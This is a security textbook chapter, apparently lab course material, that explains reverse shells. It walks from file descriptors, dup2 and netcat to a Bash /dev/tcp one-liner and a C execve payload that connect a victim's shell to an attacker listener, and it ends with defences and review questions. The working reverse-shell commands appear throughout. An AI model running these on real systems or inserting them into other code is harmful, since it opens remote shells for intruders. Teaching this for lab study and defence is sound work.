Chapter 11: Reverse Shells
In the earlier chapters, a successful exploit ended with a shell: execve("/bin/sh")
ran inside the victim process, and a # prompt appeared in the attacker’s terminal.
That worked because the attacker was sitting at the victim’s terminal — the
vulnerable program was a local Set-UID binary, and the new shell simply inherited the
attacker’s keyboard and screen.
Real attacks rarely look like that. The vulnerable program is usually a server on another machine, its standard input and output are a network socket or a log file, and between the attacker and the victim stand firewalls and VPN gateways that refuse incoming connections. Spawning a shell there is useless if nobody can type into it. The standard solution is the reverse shell: the injected code makes the victim connect out to the attacker and attaches a shell to that connection. This chapter explains how it works, starting from the Unix machinery it is built on — file descriptors and redirection.
Learning objectives. After this chapter you should be able to:
- Explain why attackers use reverse shells instead of listening on the victim.
- Describe the per-process file descriptor table and how it refers to open files and sockets.
- Read and write shell redirections such as
2>&1,0<&1, andexec 3< file, and explain howdup2()implements them.- Use
netcatas a client, a listener, and a file-transfer tool.- Build the classic Bash reverse-shell one-liner step by step and explain every part of it, including why the order of redirections matters.
- Describe how a reverse shell is delivered as an exploit payload, and how defenders detect and block one.
11.1 The Problem: Getting a Shell Through a Firewall
Picture a typical deployment:
attacker | firewall / | victim server
10.0.2.3 | VPN | 10.0.2.5
| |
ssh / nc --- inbound to ----X blocked | service on :8080
10.0.2.5:4444 | |
| |
<---- outbound ----+--- allowed --+------ (victim initiates)
The victim’s network accepts inbound connections only to the service it is meant to expose (here, port 8080) and blocks everything else. Suppose the attacker exploits the service and makes it run a shell that listens on a new port, a so-called bind shell. The firewall drops the attacker’s connection to that port; the shell waits forever. Even if no firewall were present, a server behind NAT has no public address for the attacker to connect to.
Outbound connections, however, are almost always allowed: servers fetch updates, query APIs, and resolve DNS names. A reverse shell exploits that asymmetry. The attacker runs a listener on a machine they control, and the payload on the victim connects out to it:
attacker 10.0.2.3 victim 10.0.2.5
+-----------------+ +----------------------+
| nc -lnv 9090 | <====== TCP connection ===== | /bin/bash -i |
| (listening) | (victim connects) | stdin, stdout and |
| types commands | ======> commands ==========> | stderr all attached |
| sees output | <====== output ========== | to the socket |
+-----------------+ +----------------------+
From the firewall’s point of view, an internal machine opened a TCP connection to an external host — ordinary traffic. From the attacker’s point of view, a shell prompt from the victim appears in their listener.
To build this, we need to make a shell read its input from a TCP connection and write its output to the same connection. That is a job for file descriptors.
11.2 File Descriptors
When a Unix process opens a file, the kernel returns a small integer, a file
descriptor (fd). The process uses that number in every later read, write, or
close. Under the hood there are three levels of tables:
per-process system-wide on disk / in kernel
fd table open file table inodes, sockets
+-----+-----------+ +-------------------+ +-----------------+
| 0 | -------------------> | offset, mode (r) | -------> | /dev/pts/0 |
+-----+-----------+ +---> +-------------------+ +-----------------+
| 1 | ---------------+ | offset, mode (w) | -------> | /tmp/xyz inode |
+-----+-----------+ | +-------------------+ +-----------------+
| 2 | ---------------+ | ... |
+-----+-----------+
| 3 | -----------------> (entry for /tmp/xyz, read-only)
+-----+-----------+
- The file descriptor table belongs to one process and is maintained by the kernel. Each slot is a pointer to an entry in the open file table.
- The open file table holds one entry per
open()call: the current offset, the access mode (read, write, append), and a pointer to the underlying object. - The underlying object is an inode for a regular file, or a device, a pipe, or — crucially for us — a socket.
By convention every process starts with three descriptors:
| fd | Name | Default (in a terminal) |
|---|---|---|
| 0 | standard input (stdin) | the terminal (keyboard) |
| 1 | standard output (stdout) | the terminal (screen) |
| 2 | standard error (stderr) | the terminal (screen) |
Programs do not care what fd 0 or fd 1 actually refers to. cat reads from fd 0 and
writes to fd 1, whether those are a terminal, a file, a pipe, or a network
connection. That indifference is what makes redirection — and the reverse shell —
possible.
You can inspect a process’s table under /proc:
$ ls -l /proc/self/fd
lrwx------ 1 seed seed 64 ... 0 -> /dev/pts/0
lrwx------ 1 seed seed 64 ... 1 -> /dev/pts/0
lrwx------ 1 seed seed 64 ... 2 -> /dev/pts/0
lr-x------ 1 seed seed 64 ... 3 -> /proc/12345/fd
(The fourth entry is the directory ls itself opened to list it.) File descriptors
are also inherited across fork() and survive execve() unless marked close-on-exec,
which is why the capability leak in Chapter 2 worked: an
open descriptor is a capability that outlives the privilege used to create it.
11.3 Redirection in the Shell
The shell lets you rewire a command’s descriptors before it runs. The general forms are:
| Syntax | Meaning | Default n |
|---|---|---|
[n]< file | open file for reading as fd n | 0 |
[n]> file | open file for writing (truncate) as fd n | 1 |
[n]>> file | open file for appending as fd n | 1 |
[n]<&m | make fd n a copy of fd m (for input) | 0 |
[n]>&m | make fd n a copy of fd m (for output) | 1 |
Note that there is no space between n and the operator: 2>file redirects
stderr, but 2 >file passes 2 as an argument and redirects stdout.
Some examples:
$ cat < /tmp/xyz # same as: cat 0< /tmp/xyz
$ ls -l > /tmp/out # same as: ls -l 1> /tmp/out
$ ls /nonexistent 2> /tmp/err
$ make > build.log 2>&1 # stdout to build.log, then stderr to wherever stdout goes
exec: redirecting the current shell
Normally a redirection applies to one command. The exec builtin, given only
redirections, applies them to the current shell process itself:
$ exec 3< /tmp/xyz # open /tmp/xyz as fd 3 in this shell
$ cat <&3 # cat reads its stdin from fd 3
hello from xyz
$ exec 3<&- # close fd 3
How redirection is implemented: dup2()
The shell implements every redirection with two system calls, open() and dup2():
int dup2(int oldfd, int newfd);
dup2 makes newfd refer to the same open-file-table entry as oldfd, closing
newfd first if it was open. Here is what the shell does, in effect, for
cat < /tmp/xyz:
#include <fcntl.h>
#include <unistd.h>
int main(void)
{
int fd = open("/tmp/xyz", O_RDONLY); /* say fd == 3 */
dup2(fd, 0); /* fd 0 now -> /tmp/xyz */
close(fd); /* fd 3 no longer needed */
char *argv[] = { "/bin/cat", NULL };
execve(argv[0], argv, NULL); /* cat reads fd 0 = file */
return 1;
}
The fd table before and after dup2(3, 0):
before after dup2(3, 0)
+---+----------------+ +---+----------------+
| 0 | /dev/pts/0 | | 0 | /tmp/xyz <----+--- same entry as 3
+---+----------------+ +---+----------------+
| 1 | /dev/pts/0 | | 1 | /dev/pts/0 |
+---+----------------+ +---+----------------+
| 2 | /dev/pts/0 | | 2 | /dev/pts/0 |
+---+----------------+ +---+----------------+
| 3 | /tmp/xyz | | 3 | /tmp/xyz | (then closed)
+---+----------------+ +---+----------------+
execve replaces the program but keeps the fd table, so cat starts with its
stdin already pointing at the file. A redirection like 2>&1 is simply dup2(1, 2):
make fd 2 point wherever fd 1 points right now.
Note. Redirections are processed left to right, and each
n>&mcopies whatmrefers to at that moment. Hencecmd > out 2>&1sends both streams toout, butcmd 2>&1 > outsends stderr to the terminal (where stdout pointed when2>&1was processed) and only stdout toout. This ordering rule is the key to reading the reverse-shell one-liner below.
11.4 Redirecting to a TCP Connection
A socket is just another object a file descriptor can point to. Bash provides a
convenient way to create one: when a redirection names the path
/dev/tcp/<host>/<port>, Bash opens a TCP connection to that host and port and
uses the socket as the redirected descriptor.
# On 10.0.2.5, start a TCP server that prints what it receives:
$ nc -l 8080
# On another machine, redirect a command's output to that server:
$ echo "hello over TCP" > /dev/tcp/10.0.2.5/8080
The text appears in the nc window on 10.0.2.5. Input works the same way:
$ cat < /dev/tcp/10.0.2.5/8080 # whatever is typed into nc appears here
Note.
/dev/tcpis not a real directory. Runls /dev/tcpand you will get “No such file or directory.” It is a feature built into Bash’s redirection code (also/dev/udp), so it works only when Bash performs the redirection.dash, which is/bin/shon Ubuntu, andzsh, the default shell on macOS, do not support it.
11.5 Netcat
Netcat (nc) reads from and writes to network connections using TCP or UDP. It
connects its own stdin/stdout to a socket, which makes it the Swiss-army knife of
network debugging — and the attacker’s listener of choice.
As a client, it connects to a host and port. Connecting to an SSH server reveals its version banner, a trick called banner grabbing:
$ nc 198.98.59.148 22
SSH-2.0-OpenSSH_8.2p1 Ubuntu-4
As a server, it listens on a port. Run the two halves in two terminals to get a crude chat or echo session:
# server (10.0.2.5) # client
$ nc -lvp 8080 $ nc 10.0.2.5 8080
Listening on 0.0.0.0 8080 hi there
Connection received on 10.0.2.3 51234
hi there
The flags are -l (listen), -v (verbose), -p (port), and often -n (do not
resolve names). Different netcat variants accept slightly different flags; on Ubuntu
nc -lnv 8080 and nc -lvp 8080 both work.
For file transfer, redirect each side:
$ nc -lvp 8080 > file_transfer.txt # receiver
$ nc 10.0.2.5 8080 < file.txt # sender
11.6 Building the Reverse Shell
We now have every piece. The attacker (10.0.2.3 in this section) runs a listener:
attacker$ nc -lnv 9090
The goal is to run, on the victim, an interactive shell whose stdin, stdout, and stderr are all the TCP connection to 10.0.2.3:9090. We build the command one redirection at a time.
Step 1: redirect stdout.
victim$ /bin/bash -i > /dev/tcp/10.0.2.3/9090
-i makes Bash interactive (it prints a prompt and reads commands). The output of
commands now appears on the attacker’s listener, but the commands are still typed on
the victim’s keyboard — not yet useful.
Step 2: take stdin from the same connection.
victim$ /bin/bash -i > /dev/tcp/10.0.2.3/9090 0<&1
0<&1 duplicates fd 1 into fd 0: stdin now refers to the same socket as stdout. A
TCP socket is bidirectional, so the shell reads the attacker’s keystrokes from it.
Commands typed in the listener execute on the victim, and their output returns.
But the interactive prompt and error messages go to stderr, which still points at the
victim’s terminal, so the attacker sees no prompt and no errors.
Step 3: send stderr there too.
victim$ /bin/bash -i > /dev/tcp/10.0.2.3/9090 0<&1 2>&1
2>&1 makes fd 2 a copy of fd 1, the socket. Now all three standard descriptors
point at one connection:
victim bash fd table
+---+------------------------------+
| 0 | socket 10.0.2.5 -> 10.0.2.3:9090
+---+------------------------------+ attacker
| 1 | socket (same entry) | =======> nc -lnv 9090
+---+------------------------------+
| 2 | socket (same entry) |
+---+------------------------------+
On the attacker’s side:
attacker$ nc -lnv 9090
Listening on 0.0.0.0 9090
Connection received on 10.0.2.5 46032
seed@victim:~$ id
id
uid=1000(seed) gid=1000(seed) groups=1000(seed)
seed@victim:~$
The order of the three redirections matters. > /dev/tcp/... must come first, because
it is what opens the socket; 0<&1 and 2>&1 copy fd 1 as it stands at that moment.
If you wrote 0<&1 2>&1 > /dev/tcp/..., fds 0 and 2 would be copies of the old fd 1
(the terminal), and only stdout would reach the attacker.
Note. An equivalent and also common form is
bash -i >& /dev/tcp/10.0.2.3/9090 0>&1, where>&redirects both stdout and stderr at once. Pick one form and make sure you can explain it.
Running it from a shell that is not Bash
Because /dev/tcp is a Bash feature, the one-liner fails if the current shell is
zsh or dash — the redirection is processed by the current shell before the
/bin/bash program even starts. Wrap it so Bash interprets the whole line:
victim% bash -c "/bin/bash -i > /dev/tcp/10.0.2.3/9090 0<&1 2>&1"
This is exactly how a reverse shell appears inside an exploit payload: as an argument
to bash -c.
11.7 Delivering a Reverse Shell with an Exploit
In Chapter 5, the shellcode called
execve("/bin/sh", {"/bin/sh", NULL}, NULL). A reverse-shell payload calls instead
char *argv[] = { "/bin/bash", "-c",
"/bin/bash -i > /dev/tcp/10.0.2.3/9090 0<&1 2>&1", NULL };
execve("/bin/bash", argv, NULL);
The shellcode must therefore place three strings and an argument array in memory and
point ebx, ecx, and edx at them — more work than the /bin/sh version, but the
same technique. A common trick is to embed the strings in the payload with a
placeholder byte (such as *) at the end of each, which the shellcode overwrites with
0x00 at run time, since the payload itself may not contain zero bytes. (Because the
code depends on the placeholder’s offset, the command string must be padded to keep
it in the same position.)
Why not just run /bin/sh? Because a network server’s standard descriptors are not
the attacker’s terminal. A forked server child often has stdin attached to the
connection that delivered the exploit, already consumed by the vulnerable read, and
stdout attached to a log. An ordinary shell there would read end-of-file and exit, or
fight with the server over the same socket, and its output would go to the server’s
console. The reverse shell opens a fresh connection for the shell and wires all
three descriptors to it.
Exploits are not the only delivery route. The same one-liner is what a phishing
attachment, a malicious macro, a booby-trapped install script (curl ... | bash), or a
compromised build step runs once the victim executes it. Collections such as the
reverse shell cheat sheet linked in Further Reading list equivalent one-liners in Python,
Perl, PHP, PowerShell, socat, and plain nc -e, so blocking one interpreter is not
enough.
Going deeper. Reverse shells are only the simplest form of command and control (C2). Real malware usually beacons over HTTPS or DNS to blend in with normal traffic, encrypts its channel, and fetches new instructions periodically rather than holding one long-lived TCP session. Red-team frameworks such as Metasploit’s Meterpreter provide such channels. The underlying idea — the victim calls out — is the same.
11.8 Detecting and Preventing Reverse Shells
A reverse shell is a symptom of compromise rather than a vulnerability, so the first defense is to fix the bug that ran it. Beyond that, defenders look at several layers:
- Egress filtering. Servers rarely need to open arbitrary outbound connections. A firewall that allows only the destinations a server actually needs (a package mirror, a database, a specific API) turns most reverse shells into failed connection attempts — and those failures are themselves a strong alarm signal.
- Process lineage. A web server or database daemon whose child is
bash -i, or whose shell has a socket on fd 0, 1, and 2, is almost never legitimate. Endpoint detection and response (EDR) tools and audit frameworks such as Linuxauditdwatch for exactly these parent–child patterns. - Network monitoring. Interactive sessions have a recognizable shape: small packets in both directions with human typing rhythm, on an unusual port, to a host the server has never contacted. Intrusion detection systems flag such sessions.
- Least privilege and sandboxing. Running the service as an unprivileged user,
in a container without a shell binary, or under a seccomp policy that forbids
execveorconnect, limits what the injected code can do even when the exploit succeeds.
A note on ethics. Only open reverse shells from machines you own or have explicit written permission to test, such as your lab VM and its containers. Pointing a reverse shell at, or from, someone else’s machine is unauthorized access.
Check Your Understanding
1. Why does a reverse shell succeed in situations where a bind shell fails?
Answer
A bind shell listens on the victim and requires an inbound connection from the attacker, which firewalls and NAT usually block. A reverse shell makes the victim open an outbound connection to the attacker’s listener, and outbound traffic is usually allowed, so it looks like an ordinary connection to the firewall.
2. After dup2(5, 1), what does fd 1 refer to, and what happened to whatever fd 1
referred to before?
Answer
Fd 1 refers to the same open-file-table entry as fd 5 (same file or socket, shared offset). The previous fd 1 was closed first (its open-file entry is released if no other descriptor references it). Fd 5 is still open and must be closed separately if it is no longer needed.
3. What is the difference between cmd > out.txt 2>&1 and cmd 2>&1 > out.txt?
Answer
Redirections are applied left to right. In the first, stdout is redirected to
out.txt, then stderr becomes a copy of the new stdout, so both go to the file. In
the second, stderr becomes a copy of stdout while stdout is still the terminal, and
only then is stdout redirected; stderr goes to the terminal and only stdout goes to
the file.
4. Explain each part of /bin/bash -i > /dev/tcp/10.0.2.3/9090 0<&1 2>&1.
Answer
/bin/bash -i starts an interactive Bash. > /dev/tcp/10.0.2.3/9090 makes Bash open a
TCP connection to 10.0.2.3 port 9090 and use it as fd 1 (stdout). 0<&1 makes fd 0
(stdin) a copy of fd 1, so commands are read from the same socket. 2>&1 makes fd 2
(stderr, where the prompt and errors go) a copy of fd 1 as well. All three standard
streams now flow over the one connection to the attacker’s listener.
5. You run the one-liner in a macOS terminal and get
zsh: no such file or directory: /dev/tcp/10.0.2.3/9090. Why, and how do you fix it?
Answer
The redirection is processed by the current shell, zsh, before /bin/bash runs, and
/dev/tcp is a Bash-only pseudo-path, not a real file. Run the whole command under
Bash: bash -c "/bin/bash -i > /dev/tcp/10.0.2.3/9090 0<&1 2>&1".
6. In a code-injection exploit against a network server, why is
execve("/bin/sh", ...) often not enough to give the attacker control, even when the
shellcode runs successfully?
Answer
The shell inherits the server process’s descriptors, which are not the attacker’s terminal: stdin may be the already-consumed exploit connection or a file at EOF, and stdout/stderr may go to the server’s log or console. The shell either exits immediately or runs where the attacker cannot see or type into it. A reverse shell opens a new connection and attaches all three descriptors to it.
7. Name two defenses that would stop or reveal a reverse shell even if the underlying vulnerability is exploited.
Answer
Any two of: egress filtering (the outbound connection is blocked and logged);
process-lineage monitoring/EDR (a daemon spawning bash -i with socket descriptors is
flagged); network intrusion detection (unusual interactive session to an unknown
host); least privilege and sandboxing (no shell in the container, seccomp blocking
execve/connect, unprivileged service user).
Summary
- Firewalls and NAT block inbound connections but usually allow outbound ones, so attackers make the victim connect out to a listener: a reverse shell.
- Every process has a file descriptor table; fds 0, 1, and 2 are stdin, stdout, and stderr, and programs do not care whether they are terminals, files, or sockets.
- Shell redirection (
<,>,n>&m,exec) is implemented withopen()anddup2(), processed left to right;execvepreserves the fd table. - Bash treats
/dev/tcp/host/portas a TCP connection; it is not a real file and works only in Bash. - Netcat serves as client, listener (
nc -lnv port), and file-transfer tool. - The one-liner
/bin/bash -i > /dev/tcp/IP/PORT 0<&1 2>&1connects all three standard streams of an interactive shell to the attacker; exploits run it throughbash -c. - Defenses include fixing the vulnerability, egress filtering, process-lineage and network monitoring, and least privilege sandboxing.
Connection to the Labs
Lab 3: Format String and Reverse Shell, Task 4, ends with
exactly this payload. After using the format-string write
(Chapter 10) to redirect the server’s return address into
shellcode, you replace the shellcode’s demo command with a reverse-shell command and
catch the root shell with an nc -lnv listener on your VM. Before attempting it:
- Practice Section 11.6 between two terminals on your VM (use
127.0.0.1or your VM’s container-network address) until you can explain each redirection. - Notice that the lab’s shellcode runs
/bin/bash -c "<command>"with a placeholder character whose position is fixed — pad your command so the placeholder does not move (Section 11.7). - The lab’s “Why a reverse shell here?” note is Question 6 above.
Further Reading
- Wenliang Du. Computer & Internet Security: A Hands-on Approach, 3rd edition, Chapter 9 (Reverse Shell).
- Reverse shell cheat sheet (InternalAllTheThings): https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/
man 2 dup2,man 1 nc, and the REDIRECTION section ofman bash.